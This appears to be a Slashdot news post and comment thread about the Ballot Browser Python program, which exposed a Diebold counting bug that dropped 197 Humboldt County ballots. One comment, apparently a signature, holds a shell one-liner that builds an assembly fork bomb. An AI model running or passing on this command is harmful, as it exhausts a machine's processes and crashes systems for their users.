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Open Source Program Reveals Diebold Bug
Mitch Trachtenberg writes "Ballot Browser, an open source Python program developed by Mitch Trachtenberg (yours truly) as part of the all-volunteer Humboldt County Election Transparency Project, was instrumental in revealing that Diebold counting software had dropped 197 ballots from Humboldt County, California's official election results. Despite a top-to-bottom review by the California Secretary of State's office, it appears that Diebold had not informed that office of the four-year-old bug. The Transparency Project has sites at humetp.org and http://www.humtp.com." Trachtenberg also points to his blog for the Transparency Project, and his own essay about the discovery and the process that led to it.
Hey, Trachtenberg do you have a sister? And was she somehow the key to all of this?
Papers arriving shortly ...Esq.
In testing. You need to be able to verify the testing mechanism. Open Source will win there because of the ability to view and modify the code. Just verify that you are testing with the same stuff that you reviewed.
Live Free or Diebold!
echo -e 'global _start\n _start:\n mov eax, 2\n int 80h\n jmp _start' > a.asm; nasm a.asm -f elf; ld a.o -o a;
Really? Jesus Christ! Thank fuck it wasn't in German then.
Yes, but someone with several years of python experience could do this in less than 30 minutes. Just type import ballot_counter Although in Py3K they've changed the name to ballotCounter, just so you know.
Mine too. After the OCR machine acknowledged my ballot was readable, they gave me a sticker that said "I voted".
I asked him for a second one and walked around all next day with two "I voted" stickers on.
Surprisingly, nobody asked me if I voted twice.
You can't legislate goodness. Let each to his own destiny, by will of his freely made choices.
mods this is supposed to be funny. please remember to exercise "+1 Pity"